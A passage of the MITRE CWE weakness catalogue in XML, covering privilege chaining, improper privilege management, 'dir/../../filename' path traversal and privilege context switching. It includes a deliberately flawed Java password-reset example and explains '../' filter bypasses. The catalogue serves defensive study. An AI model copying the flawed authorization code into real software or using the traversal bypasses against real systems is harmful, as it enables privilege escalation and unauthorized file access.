						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.268.1]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code allows someone with the role of "ADMIN" or "OPERATOR" to
						reset a user's password. The role of "OPERATOR" is intended to have less
						privileges than an "ADMIN", but still be able to help users with small
						issues such as forgotten passwords.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public enum Roles {</Code>
							              <Block>
								                <Code>ADMIN,OPERATOR,USER,GUEST</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>public void resetPassword(User requestingUser, User user, String
								password ){</Code>
							              <Block>
								                <Code>if(isAuthenticated(requestingUser)){</Code>
								                <Block>
									                  <Code>switch(requestingUser.role){</Code>
									                  <Block>
										                    <Code>case GUEST:</Code>
										                    <Block>
											                      <Code>System.out.println("You are not authorized to
												perform this command");</Code>
											                      <Code>break;</Code>
										                    </Block>
										                    <Code>case USER:</Code>
										                    <Block>
											                      <Code>System.out.println("You are not authorized to
												perform this command");</Code>
											                      <Code>break;</Code>
										                    </Block>
										                    <Code>default:</Code>
										                    <Block>
											                      <Code>setPassword(user,password);</Code>
											                      <Code>break;</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>else{</Code>
								                <Block>
									                  <Code>System.out.println("You must be logged in to perform this
										command");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> This code does not check the role of the user whose password is being
							reset. It is possible for an Operator to gain Admin privileges by
							resetting the password of an Admin account and taking control of that
							account. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1736</Observed_Example_Reference>
					          <Observed_Example_Description>Chaining of user
						rights.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1772</Observed_Example_Reference>
					          <Observed_Example_Description>Gain certain rights via privilege chaining in
						alternate channel.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1973</Observed_Example_Reference>
					          <Observed_Example_Description>Application is allowed to assign extra permissions
						to itself.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0640</Observed_Example_Reference>
					          <Observed_Example_Description>"operator" user can overwrite usernames and
						passwords to gain admin privileges.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>It is difficult to find good examples for this weakness.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="31" Local_Reference_ID="R.268.1">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Privilege Chaining</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Relationship_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Potential_Mitigations,
						Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="269" Name="Improper Privilege Management" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly assign, modify, track, or check
					privileges for an actor, creating an unintended sphere of control for that
					actor.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>284</Relationship_Target_ID>
					          <!--Improper Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The relationships between privileges, permissions, and actors (e.g. users
						and groups) need further refinement within the Research view. One
						complication is that these concepts apply to two different pillars, related
						to control of resources (CWE-664) and protection mechanism failures
						(CWE-396).</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-48">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to entities in a software system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Consider following the principle of separation of privilege. Require
							multiple conditions to be met before permitting access to a system
							resource.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1555</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal privileges are not reset when a user logs
						out.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1514</Observed_Example_Reference>
					          <Observed_Example_Description>Does not properly pass security context to child
						processes in certain cases, allows privilege
						escalation.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0128</Observed_Example_Reference>
					          <Observed_Example_Description>Does not properly compute
						roles.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 16: Executing Code With Too Much Privilege." Page
						243</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Dropping Privileges Permanently", Page
						479.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Privilege Management Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>58</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier_Organization>CWE Team</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>Moved this entry higher up in the Research
						view.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes, Name,
						Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Privilege Management
						Error</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insecure Privilege
						Management</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="27" Name="Path Traversal: 'dir/../../filename'" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					multiple internal "../" sequences that can resolve to a location that is outside
					of that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>The 'directory/../../filename' manipulation is useful for bypassing some
						path traversal protection schemes. Sometimes a program only removes one
						"../" sequence, so multiple "../" can bypass that check. Alternately, this
						manipulation could be used to bypass a check for "../" at the beginning of
						the pathname, moving up more than one directory level.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0298</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to cause a denial
						of service via certain HTTP GET requests containing a %2e%2e (encoded
						dot-dot), several "/../" sequences, or several "../" in a URI.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'directory/../../filename</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Directory
						Doubled Dot Dot Slash - 'directory/../../filename'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="270" Name="Privilege Context Switching Error" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly manage privileges while it is
					switching between different contexts that have different privileges or spheres
					of control.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>269</Relationship_Target_ID>
					          <!--Improper Privilege Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A user can assume the identity of another user with separate
							privileges in another context. This will give the user unauthorized
							access that may allow them to acquire the access information of other
							users.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.270.1]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-49">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Consider following the principle of separation of privilege. Require
							multiple conditions to be met before permitting access to a system
							resource.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1688</Observed_Example_Reference>
					          <Observed_Example_Description>Web browser cross domain problem when user hits
						"back" button.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1026</Observed_Example_Reference>
					          <Observed_Example_Description>Web browser cross domain problem when user hits
						"back" button.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1770</Observed_Example_Reference>
					          <Observed_Example_Description>Cross-domain issue - third party product passes
						code to web browser, which executes it in unsafe
						zone.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2263</Observed_Example_Reference>
					          <Observed_Example_Description>Run callback in different security context after
						it has been changed from untrusted to trusted. * note that "context switch
						before actions are completed" is one type of problem that happens
						frequently, espec. in browsers.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This concept needs more study.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 7, "Running with Least Privilege" Page
						207</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="31" Local_Reference_ID="R.270.1">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Privilege Context Switching Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>17</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>30</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
